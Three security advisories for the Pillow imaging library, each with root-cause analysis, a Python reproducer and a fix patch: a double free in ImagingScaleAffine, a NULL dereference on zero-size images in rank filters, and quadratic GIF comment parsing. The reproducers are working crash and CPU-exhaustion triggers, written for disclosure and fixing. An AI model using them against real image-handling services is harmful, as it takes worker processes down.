Image.transform() creates the output image as an ordinary Python-owned image and then transforms into it:
python src/PIL/Image.py:3008…3021 im = new(self.mode, size, fillcolor) … im.transformer( (0, 0, size), self, method, data, resample, fillcolor is None )
transformer() rewrites Transform.EXTENT into an axis-aligned affine matrix (src/PIL/Image.py:3040-3046: data = (xs, 0, x0, 0, ys, y0), method = Transform.AFFINE) and calls self.im.transform(box, image.im, method, data, resample, fill) (Image.py:3117). resample defaults to Resampling.NEAREST (Image.py:2936).
In C, transform() passes its own image as the destination:
c / src/imaging.c:2153 / imOut = ImagingTransform( self->image, imagep->image, method, x0, y0, x1, y1, a, filter, fill );
ImagingTransformAffine() takes the scaling fast path because the filter is NEAREST and the matrix has no shear:
c / src/libImaging/Geometry.c:1035-1043 / if (filterid || imIn->type == IMAGINGTYPEI16) { return ImagingGenericTransform(…); } if (a[1] == 0 && a[3] == 0) { / Scaling / return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill); }
and ImagingScaleAffine() allocates a table of imOut->xsize ints:
c / src/libImaging/Geometry.c:863-868 / / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { ImagingDelete(imOut); / <-- imOut belongs to the caller / return (Imaging)ImagingErrorMemoryError(); }
ImagingDelete() (src/libImaging/Storage.c:250-279) drops the refcount to 0, returns the pixel blocks to the arena / free()s them via im->destroy, and free(im). self->image in the ImagingCore object still points at the freed struct. transform() returns NULL, Image.transform() propagates MemoryError, the half-built output Image loses its last reference, and dealloc() (src/imaging.c:188) calls ImagingDelete(imagep->image) again: it locks im->mutex and decrements im->refcount inside freed memory, then walks im->blocks (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed blocks array had been overwritten, so free() receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.
Every other error return in Geometry.c (ImagingErrorModeError, ImagingErrorMismatch, "bad filter number", "bad transform method") leaves imOut alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, resize() (src/imaging.c:2026-2030), where imOut is a fresh ImagingNewDirty() temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, 9a640e315715 ("Forking PIL", 2010-07-30), so every release since Pillow 1.0 is affected.
The output width is what decides whether the path is hit: the output image costs width × height × pixelsize bytes, the table an additional 4 × width. A very wide, 1-row output (300 000 000 × 1 "L": 300 MB image, 1.2 GB table) makes the table the allocation that fails. ImagingNewPrologueSubtype() caps xsize at INTMAX/4 - 1, so the table is at most ~2 GB.
Impact
Applications that let a user choose the output size of Image.transform() — Transform.EXTENT (crop-and-scale), Transform.AFFINE with a pure scale/translate matrix, or the ImageTransform.ExtentTransform/AffineTransform helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the MemoryError the API is meant to raise. resize(), thumbnail() and rotate() do not reach this path; Image.resize(..., NEAREST, box=...) goes through ImagingScaleAffine() but owns its output, and raises a clean MemoryError. The second precondition is that the output image itself allocates but the extra 4 × width bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (ulimit -v, uwsgi --limit-as, systemd LimitAS=, an in-app setrlimit), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after MemoryError has already been raised and possibly handled. The second ImagingDelete() also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.
Reproducing
Run repro (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (python3 -c, taking WIDTH as an argument): the child disables core files, sets RLIMITAS to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 "L" image, calls src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) with the default NEAREST resampling, prints MemoryError caught if that raises, then runs gc.collect() and prints alive. EXTENT with NEAREST is a pure scale, so the call goes through ImagingScaleAffine(), which callocs a 4 × WIDTH-byte table in addition to the WIDTH-byte output image.
The script runs the child twice:
- Control: width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless. - Attack: width 300 000 000. The 300 MB output image is allocated, but calloc(300000000, 4) (1.2 GB) fails. Pillow correctly raises MemoryError, and the child catches it. But ImagingScaleAffine() has already called ImagingDelete() on the output image it does not own. When the output image is released, it is freed again. The child prints MemoryError caught and then dies with SIGSEGV instead of printing alive.
If the attack child was killed by a signal and gdb is installed, the script runs the attack again under gdb and prints the backtrace. The crash is in free() ← memoryreturnblock/ImagingDestroyArray (Storage.c:396,408) ← ImagingDelete (Storage.c:271) ← dealloc (imaging.c:188). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.
The last line is BUG when the control exits 0 and the attack prints MemoryError caught and then dies from a signal without printing alive. Otherwise it is OK. With the attached patch applied, the attack prints MemoryError caught, then alive, exits 0, and the script prints OK.
Suggested fix
ImagingScaleAffine() never owns imOut. The attached patch removes the ImagingDelete() at src/libImaging/Geometry.c:866 and makes the one caller that relied on it, resize() in src/imaging.c, clean up its own temporary, the same idiom gaussianblur()/unsharpmask() already use. This also fixes resize() passing a possible NULL from ImagingNewDirty() into ImagingTransform(), and leaking the temporary on the other ImagingTransform() error returns:
diff --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + / imOut is owned by the caller; don't delete it here / return (Imaging)ImagingErrorMemoryError(); } --- a/src/imaging.c +++ b/src/imaging.c @@ -2024,10 +2024,16 @@ resize(ImagingObject self, PyObject args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else {
Every ImagingTransform() path returns the same imOut on success, so wrapping the original pointer in PyImagingNew() in resize() is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints OK and Image.resize(..., NEAREST, box=...) under the same limit raises a clean MemoryError.
The patch
Stop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make resize() free its own temporary instead
Applies to src/libImaging/Geometry.c at the commit above.
diff diff --git a/src/imaging.c b/src/imaging.c index 7e9c0e391..ac1873292 100644 --- a/src/imaging.c +++ b/src/imaging.c @@ -2024,10 +2024,16 @@ resize(ImagingObject self, PyObject args) { a[5] = box[1]; imOut = ImagingNewDirty(imIn->mode, xsize, ysize); + if (!imOut) { + return NULL; + } - imOut = ImagingTransform( - imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 - ); + if (!ImagingTransform( + imOut, imIn, IMAGINGTRANSFORMAFFINE, 0, 0, xsize, ysize, a, filter, 1 + )) { + ImagingDelete(imOut); + return NULL; + } } else { imOut = ImagingResample(imIn, xsize, ysize, filter, box); } diff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c index 1bf92e26e..2baf000a5 100644 --- a/src/libImaging/Geometry.c +++ b/src/libImaging/Geometry.c @@ -863,7 +863,7 @@ ImagingScaleAffine( / malloc check ok, uses calloc for overflow / xintab = (int )calloc(imOut->xsize, sizeof(int)); if (!xintab) { - ImagingDelete(imOut); + / imOut is owned by the caller; don't delete it here / return (Imaging)ImagingErrorMemoryError(); }
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 2,064 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866): on calloc() failure it ImagingDelete()s imOut, which for Image.transform() is the Imaging struct owned by the live Python output image; that image's dealloc then ImagingDelete()s it again. Stock /src build, no rebuild. A 1 GB RLIMITAS makes the 300 MB output image fit but the 1.2 GB 4width lookup table fail. Expected: MemoryError, process survives. import subprocess, sys, textwrap, signal
child = textwrap.dedent(''' import resource, gc, sys from PIL import Image resource.setrlimit(resource.RLIMITCORE, (0, 0)) resource.setrlimit(resource.RLIMITAS, (1000000000,) 2) w = int(sys.argv[1]) src = Image.new("L", (8, 8)) try: src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8)) print("transform ok") except MemoryError: print("MemoryError caught") gc.collect() print("alive") ''')
def run(width): p = subprocess.run([sys.executable, "-u", "-c", child, str(width)], captureoutput=True, text=True, timeout=50) print(f"-- width={width}: rc={p.returncode}\n{p.stdout.rstrip()}") return p
ctrl = run(50000000) # 50 MB image + 200 MB table fit under the limit att = run(300000000) # 300 MB image fits, 1.2 GB table does not bug = (ctrl.returncode == 0 and "MemoryError caught" in att.stdout and "alive" not in att.stdout and att.returncode < 0) if att.returncode < 0: print("attack child killed by", signal.Signals(-att.returncode).name) import shutil if shutil.which("gdb"): # evidence only; verdict does not depend on it g = subprocess.run(["gdb", "-q", "-batch", "-ex", "run", "-ex", "bt 6", "--args", sys.executable, "-c", child, "300000000"], captureoutput=True, text=True, timeout=120) print("\n".join(l for l in g.stdout.splitlines() if l.startswith("#") or "signal" in l)) print("BUG" if bug else "OK") </details>
---
============================================================================ NULL dereference in ImagingExpand via rank filters on zero-size images Location: src/libImaging/Filter.c:79 in ImagingExpand() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
Applying Pillow's median, minimum, maximum or rank filter to an image with zero width or zero height crashes the whole Python process instead of raising an error. Empty images like this are easy to produce with ordinary calls, for example a crop box whose left and right edges (or top and bottom edges) are equal, or the second page of a crafted multi-page image file. An attacker who can supply crop coordinates or an uploaded file to an application that runs one of these filters can kill its worker process. The effect is a crash only, with no memory disclosure or corruption.
The fault is in ImagingExpand() in src/libImaging/Filter.c. This is the edge-padding step that RankFilter.filter() always runs through the core expand() method, so MedianFilter, MinFilter and MaxFilter go through it too. It fills the margin by copying the input's edge pixels, reading imIn->image[y][0] and rows 0 / ysize-1, and never checks that the input has any pixels. For an empty image, ImagingAllocateArray leaves the line pointers NULL, so the first read dereferences NULL and the process dies with SIGSEGV, in every mode.
Zero-size images reach this point through public API alone:
- Image.crop(), ImageOps.crop() and Image.new(); - a multi-page TIFF opened by path whose second IFD declares ImageLength = 0, on which seek(1) and load() succeed.
Every other ImageFilter returns an empty image for the same inputs. The zero-height case has crashed since the original PIL import, and the zero-width case since Pillow 4.3.0. This is separate from the margin == 0 fix in #9755: the path is the same, but here the degenerate value is the image size rather than the kernel size. It has the same shape as the zero-dimension ImagingOffset crash fixed under GHSA-f87v-9578-p47w.
The attached reproducer shows a one-pixel-wide control crop filtering normally, while four empty crops passed through the rank filters are each killed by SIGSEGV. A patch that returns early in ImagingExpand for empty input is included.
Details
ImagingExpand() (src/libImaging/Filter.c), the edge-padding helper that ImageFilter.RankFilter runs before the actual rank filter, reads the first pixel of each input line without checking that the input has any pixels. For an image with width 0 or height 0 the line pointers are NULL, so Image.filter() with MedianFilter, MinFilter, MaxFilter or RankFilter kills the interpreter with SIGSEGV instead of returning or raising:
python from PIL import Image, ImageFilter im = Image.new("L", (10, 10)).crop((3, 0, 3, 10)) # size (0, 10); crop() accepts left == right im.filter(ImageFilter.MedianFilter(3)) # SIGSEGV
Under gdb on the stock build the fault is at ImagingExpand (imIn=…, margin=1) at src/libImaging/Filter.c:105 (the EXPAND(UINT8, image8) expansion), called from expandimage at src/imaging.c:1151, with imIn->xsize = 0 and imIn->image[0] = 0x0. The same happens for every mode the rank filters accept (L, RGB, RGBA, I, F), and the core expand(m) method with m >= 1 crashes the same way in any mode, including P. The same input through BoxBlur, GaussianBlur, Kernel, ModeFilter and UnsharpMask returns a (0, 10) image; a (1, 10) crop through MedianFilter also returns normally.
The unchecked edge reads date from the PIL import (9a640e315, 2010, so every Pillow release): the zero-height case has crashed since then, and the zero-width case since fd907fbdc ("Fix 0-width and 0-height images other way", Pillow 4.3.0), which stopped backing zero-width images with a dummy block and left their row pointers NULL. It is adjacent to the margin == 0 divide-by-zero fix in #9755 — same expand() → ImagingExpand() path, but the unhandled degenerate value here is the image size rather than the kernel size.
The path:
python src/PIL/ImageFilter.py:111-116 RankFilter.filter (MedianFilter/MinFilter/MaxFilter subclass it) image = image.expand(self.size // 2) return image.rankfilter(self.size, self.rank)
expand(m) with m > 0 is ImagingExpand(self->image, m) (src/imaging.c:1142-1151). It validates only margin, allocates an output of (xsize+2margin) × (ysize+2margin) — which is non-empty, so the allocation succeeds — and then fills the margin by replicating edge pixels of the input:
c // src/libImaging/Filter.c:70-101 imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 margin, imIn->ysize + 2 margin); … #define EXPANDLINE(type, image, yin, yout) \ { \ for (x = 0; x < margin; x++) { \ imOut->image[yout][x] = imIn->image[yin][0]; \ // line 79 } \ … \ for (x = 0; x < margin; x++) { \ imOut->image[yout][margin + imIn->xsize + x] = \ imIn->image[yin][imIn->xsize - 1]; \ // [-1] when xsize == 0 } \ }
#define EXPAND(type, image) \ { \ for (y = 0; y < margin; y++) { \ EXPANDLINE(type, image, 0, y); \ // line 0 of a 0-line image } \ … for (y = 0; y < margin; y++) { \ EXPANDLINE(type, image, imIn->ysize - 1, margin + imIn->ysize + y); \ // line -1 when ysize == 0 } \ }
Why the line pointers are NULL: ImagingNewPrologueSubtype callocs the im->image pointer array (src/libImaging/Storage.c:216, at least one entry), and ImagingAllocateArray returns before assigning any of them for an empty image:
c // src/libImaging/Storage.c:423-426 / 0-width or 0-height image. No need to do anything / if (!im->linesize || !im->ysize) { return im; }
So with xsize == 0 every imIn->image[y] is NULL and imIn->image[yin][0] faults; with ysize == 0 the top-margin pass reads imIn->image[0] (the single calloc'd NULL slot) and faults the same way, and the bottom-margin pass would index imIn->image[-1]. ImagingRankFilter is never reached.
Zero-size images are ordinary objects in Pillow and arrive at filter() through public API only:
- Image.crop(box) rejects only inverted boxes (src/PIL/Image.py:1385-1390); left == right or upper == lower yields a 0×N / N×0 image. ImageOps.crop(im, border) with border == width // 2, and Image.new(mode, (0, n)), do the same. - From a file: ImageFile.init refuses a zero first-frame size (src/PIL/ImageFile.py:167-173), but TiffImagePlugin.setup() takes ImageWidth/ImageLength of every later IFD as-is on seek() (src/PIL/TiffImagePlugin.py:1468-1481). For an uncompressed page of an image opened by path, ImageFile.load() takes the mmap branch (src/PIL/ImageFile.py:307, 325-347) and Image.core.mapbuffer builds an 8×0 core image without complaint (src/map.c:127-141), so im.seek(1); im.load() succeeds and a following im.filter(ImageFilter.MedianFilter(3)) segfaults in ImagingExpand exactly as above (verified under gdb: imIn->ysize = 0, imIn->image[0] = 0x0). A 384-byte two-page TIFF is enough.
Impact
Denial of service: the whole embedding process (web worker, pipeline process) dies with SIGSEGV rather than the request failing with a Python exception. It is reachable by a remote user in two realistic shapes: (a) an application that crops an upload to user-supplied coordinates and then applies a median/min/max filter (denoise, dilate/erode, thumbnail clean-up) — a box with x0 == x1 or y0 == y1 passes crop() and crashes the worker; (b) an application that opens an uploaded TIFF from disk by path, iterates its pages and applies a rank filter to each — a crafted second IFD with ImageLength = 0 crashes it. The faulting access is a read at address 0 (or a fixed small negative offset from the pointer array for the [-1] cases, which is not reached because the first read already faults), so there is no memory disclosure or corruption beyond the crash. The same shape, a zero-dimension image crashing C code reached through public API, was fixed in ImagingOffset in 39d14a0db (GHSA-f87v-9578-p47w).
Reproducing
repro is a single Python script that uses the installed Pillow as-is (no rebuild). It runs each case in a fresh child interpreter, with core dumps disabled. That way a segfault shows up as the child's exit status and the script itself keeps running. Each child builds Image.new("L", (10, 10)).crop(box), prints its size, calls im.filter(...) and then prints the size of the result.
- Control: a (1, 10) crop ((3, 0, 4, 10)) through MedianFilter(3). The rank filter accepts a thin image and must return normally. - PoC: the rank filters on empty crops. - A (0, 10) crop (left == right, (3, 0, 3, 10)) through MedianFilter(3) and MaxFilter(5). - A (10, 0) crop (upper == lower, (0, 3, 10, 3)) through MinFilter(3). - A (0, 0) crop ((3, 3, 3, 3)) through RankFilter(3, 4).
Expected output on the stock build:
crop(3, 0, 4, 10) MedianFilter(3) (1, 10) -> (1, 10) crop(3, 0, 3, 10) MedianFilter(3) (0, 10) -> killed by SIGSEGV crop(3, 0, 3, 10) MaxFilter(5) (0, 10) -> killed by SIGSEGV crop(0, 3, 10, 3) MinFilter(3) (10, 0) -> killed by SIGSEGV crop(3, 3, 3, 3) RankFilter(3, 4) (0, 0) -> killed by SIGSEGV BUG
The size printed before -> shows that the empty image was created without error. The crash happens inside filter(), in ImagingExpand. The last line is BUG if the control returned normally and at least one rank-filter child was killed by SIGSEGV. Otherwise it is OK. The script covers the crop route only; the TIFF route described above fails the same way (im.seek(1); im.load(); im.filter(ImageFilter.MedianFilter(3)) on a by-path two-page TIFF whose second IFD has ImageLength = 0). With the attached patch, every PoC line prints the unchanged size (for example (0, 10) -> (0, 10)) and the script prints OK.
Suggested fix
The attached patch handles the empty input in ImagingExpand (src/libImaging/Filter.c), right after the margin checks and before the ImagingNewDirty allocation and the replication loops. With xsize == 0 or ysize == 0 there are no edge pixels to replicate, so it returns a zeroed (ImagingNew, not ImagingNewDirty) image of the expanded size, with the input's palette copied. This keeps ImagingExpand's size contract, so ImagingRankFilter then produces an output of xsize - 2margin × ysize - 2margin, i.e. the original empty size, matching every other filter. It mirrors the existing zero-dimension early returns in src/libImaging/BoxBlur.c (127004368) and src/libImaging/Offset.c (39d14a0db):
diff --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingErrorValueError("filter size too large"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + / No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size / + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 margin, imIn->ysize + 2 margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 margin, imIn->ysize + 2 margin); if (!imOut) {
The patch also adds testrankfilterzerodimension next to testrankfiltererror in Tests/testimagefilter.py, which filters Image.new("L", size) for size in ((0, 6), (6, 0), (0, 0)) with MinFilter, MedianFilter, MaxFilter and RankFilter(3, 2) and asserts the size is preserved. Applied to a clean checkout and rebuilt, the reproducer prints OK and Tests/testimagefilter.py passes. A Python-level guard in RankFilter.filter (if 0 in image.size: return image.copy()) would also stop the crash, but the C-level check protects any other caller of expand().
The patch
Return a zeroed image from ImagingExpand when the input has zero width or height instead of reading NULL line pointers
Applies to src/libImaging/Filter.c at the commit above.
diff diff --git a/Tests/testimagefilter.py b/Tests/testimagefilter.py index 974d4b7a3..8dc8e1a1a 100644 --- a/Tests/testimagefilter.py +++ b/Tests/testimagefilter.py @@ -155,6 +155,23 @@ def testrankfiltererror(filter: ImageFilter.RankFilter) -> None: im.filter(filter).getpixel((1, 1)) +@pytest.mark.parametrize( + "filter", + ( + ImageFilter.MinFilter, + ImageFilter.MedianFilter, + ImageFilter.MaxFilter, + ImageFilter.RankFilter(3, 2), + ), +) +@pytest.mark.parametrize("size", ((0, 6), (6, 0), (0, 0))) +def testrankfilterzerodimension( + filter: ImageFilter.RankFilter, size: tuple[int, int] +) -> None: + im = Image.new("L", size) + assert im.filter(filter).size == size + + def testrankfilterproperties() -> None: rankfilter = ImageFilter.RankFilter(3, 2) diff --git a/src/libImaging/Filter.c b/src/libImaging/Filter.c index 3492a871f..d702db5f9 100644 --- a/src/libImaging/Filter.c +++ b/src/libImaging/Filter.c @@ -67,6 +67,17 @@ ImagingExpand(Imaging imIn, int margin) { return (Imaging)ImagingErrorValueError("filter size too large"); } + if (imIn->xsize == 0 || imIn->ysize == 0) { + / No edge pixels to replicate (and no lines to read from), so + return a zeroed image of the expanded size / + imOut = ImagingNew(imIn->mode, imIn->xsize + 2 margin, imIn->ysize + 2 margin); + if (!imOut) { + return NULL; + } + ImagingCopyPalette(imOut, imIn); + return imOut; + } + imOut = ImagingNewDirty(imIn->mode, imIn->xsize + 2 margin, imIn->ysize + 2 margin); if (!imOut) {
The reproducer
<details> <summary>Reproducer — <code>repro</code>, 1,333 bytes (click to open)</summary>
Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.
python #!/usr/bin/env python3 Pillow: rank filters (Median/Min/Max/RankFilter) on a 0-wide or 0-high image SIGSEGV in ImagingExpand (src/libImaging/Filter.c) - NULL line pointer read. Each case runs in a child interpreter; BUG if the control returns and any zero-size case dies of SIGSEGV. import signal, subprocess, sys
CHILD = """ import resource; resource.setrlimit(resource.RLIMITCORE, (0, 0)) from PIL import Image, ImageFilter im = Image.new("L", (10, 10)).crop(%s) # public API; crop accepts x0==x1 / y0==y1 print(im.size, "->", end=" ", flush=True) print(im.filter(ImageFilter.%s).size) """
def run(box, flt): p = subprocess.run([sys.executable, "-c", CHILD % (box, flt)], captureoutput=True, text=True) out = p.stdout.strip() if p.returncode < 0: out += " killed by " + signal.Signals(-p.returncode).name print(f" crop{box!s:<16} {flt:<18} {out}") return p.returncode
ctrl = run((3, 0, 4, 10), "MedianFilter(3)") # (1,10): must work rcs = [run((3, 0, 3, 10), "MedianFilter(3)"), # (0,10) run((3, 0, 3, 10), "MaxFilter(5)"), run((0, 3, 10, 3), "MinFilter(3)"), # (10,0) run((3, 3, 3, 3), "RankFilter(3, 4)")] # (0,0) bug = ctrl == 0 and any(rc == -signal.SIGSEGV for rc in rcs) print("BUG" if bug else "OK") </details>
---
============================================================================ Quadratic GIF comment concatenation allows DoS in Image.open() Location: src/PIL/GifImagePlugin.py:266 in GifImageFile.seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================
Opening a crafted GIF file with Image.open() takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside Image.open() itself, with default settings, before the application has seen the image's size or format.
The bug is in GifImageFile.seek() in src/PIL/GifImagePlugin.py, which builds info["comment"] by appending to an immutable bytes object with no size limit. It appends once per 255-byte sub-block (comment += block, line 261) and once per comment extension (info["comment"] += b"\n" + comment, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because open() ends with self.seek(0), any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.
Details
GifImageFile.seek() collects GIF comment extensions into info["comment"] using bytes concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. bytes is immutable, so every += allocates a new object and copies everything accumulated so far; the work done by Image.open() is therefore quadratic in the amount of comment data in frame 0.
A 1×1 GIF89a whose body is nothing but the 5-byte comment extension 21 FE 01 41 00 repeated makes this directly observable. Image.open(BytesIO(data)) on such a file, stock build at this commit, 2-CPU machine:
| file size | comment extensions (21 FE …) | same bytes labelled plain-text extension (21 01 …) | |---|---|---| | 1 MB | 1.2 s | 0.09 s | | 2 MB | 4.9 s | 0.13 s | | 4 MB | 35 s | 0.26 s | | 8 MB | 183 s | — |
The control column is the identical byte stream with the extension label changed from 0xFE to 0x01; it goes through the same loop and the same self.data() reads but is discarded instead of concatenated, and scales linearly. No load() is needed and no warning or exception is raised; im.info["comment"] simply ends up holding the multi-megabyte blob.
The code, src/PIL/GifImagePlugin.py:229-281 (trimmed):
python elif s == b"!": s = self.fp.read(1) block = self.data() … elif s[0] == 254: # # comment extension # comment = b""
# Read this comment block while block: comment += block # :261 one copy per sub-block block = self.data()
if "comment" in info: # If multiple comment blocks in frame, separate with \n info["comment"] += b"\n" + comment # :266 one copy per extension else: info["comment"] = comment s = b"" continue … while self.data(): # every other extension: read and drop pass
self.data() (:97-102) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two += lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of info["comment"] once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).
This runs during Image.open(): open() ends with self.seek(0) (:135), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. Image.decompressionbombcheck is not involved (the image is 1×1), and unlike PNG text chunks (PngImagePlugin.MAXTEXTCHUNK / MAXTEXTMEMORY) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via seek() / nframes.
With both += sites replaced by list-append and a single b"".join() (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.
Impact
Anyone who can get a GIF to a service that calls PIL.Image.open() on it — avatar/media uploads, thumbnailers, format sniffing, anything using ImageOps/thumbnail() on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on file size do not hold. Memory use is only linear (the comment is retained in im.info["comment"]), so the effect is CPU/latency denial of service of the worker pool rather than memory exhaustion; a handful of concurrent uploads is enough to saturate a typical pool. Upload size limits bound it (≈1 s at 1 MB).
This is the same shape as CVE-2021-28677 ("EPS DOS on open", docs/releasenotes/8.2.0.rst), where a quadratic method of accumulating data in the open phase, before the image was accepted, was treated as a denial-of-service vulnerability; here the format is GIF and the accumulator is the comment extension.
The quadratic accumulation was introduced in b2b737b68b06 ("Allow arbitrary number of comment extension subblocks", 2018-11-27), first released in Pillow 5.4.0.
Reproducing
repro is a single Python script that uses the installed Pillow. Run it with no arguments. It needs no files, no network and no rebuild.
It builds two GIFs of the same length, at 2 MB and at 4 MB. Each is the 13-byte GIF89a header for a 1×1 screen, followed by size/5 copies of the 5-byte extension 21 <label> 01 41 00, then a minimal 1×1 image and the trailer:
- comments: label 0xFE. Each extension is a 1-byte comment, so seek() appends each one to info["comment"] with += (GifImagePlugin.py:266). - control: label 0x01 (plain-text extension). The bytes are the same apart from the label. seek() reads them through the same loop and the same self.data() calls, then throws them away.
The script times Image.open(io.BytesIO(data)) on each file. It does not call load(), because open() already parses frame 0. It checks that the image came out as 1×1. Typical output on a 2-CPU machine:
2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s 4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2) 4 MB comment GIF took x129 as long as the same-size control BUG
For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints BUG when all three of these hold:
- doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3×; - the 4 MB comment file takes at least 20× as long as its control; - the 4 MB comment file takes at least 8 s.
Otherwise it prints OK. The run is deterministic, CPU-bound on one core, and takes about 40 s.
Suggested fix
The attached patch changes GifImageFile.seek() in src/PIL/GifImagePlugin.py to accumulate comment data in a local list instead of with bytes concatenation, and to join it once when the frame's info is committed:
diff @@ def seek(self, frame: int, updateimage: bool = True) -> None: info: dict[str, Any] = {} + commentblocks: list[bytes] | None = None frametransparency = None @@ elif s[0] == 254: # # comment extension # - comment = b"" + if commentblocks is None: + commentblocks = [] + else: + # If multiple comment blocks in frame, separate with \n + commentblocks.append(b"\n") # Read this comment block while block: - comment += block + commentblocks.append(block) block = self.data() - - if "comment" in info: - # If multiple comment blocks in frame, separate with \n - info["comment"] += b"\n" + comment - else: - info["comment"] = comment s = b"" continue @@ - if info.get("comment"): - self.info["comment"] = info["comment"] + if commentblocks: + comment = b"".join(commentblocks) + if comment: + self.info["comment"] = comment for k in ["duration", "extension"]:
This removes the quadratic copying at both sites (:261 per sub-block and :266 per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints BUG on a patched build. The resulting info["comment"] is unchanged for empty, multi-sub-block, multi-extension and later-frame comments — including Tests/images/multiplecomments.gif → b"Test comment 1\nTest comment 2" — and Tests/testfilegif.py passes unchanged. The GIF writer (writelocalheader / save) is not affected.
The patch deliberately adds no size cap. Unlike PNG zTXt, which PngImagePlugin.MAXTEXTCHUNK guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a MAXCOMMENTSIZE check inside the sub-block loop is a small policy addition on top of this patch.
The patch
GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile.seek()
Applies to src/PIL/GifImagePlugin.py at the commit above.
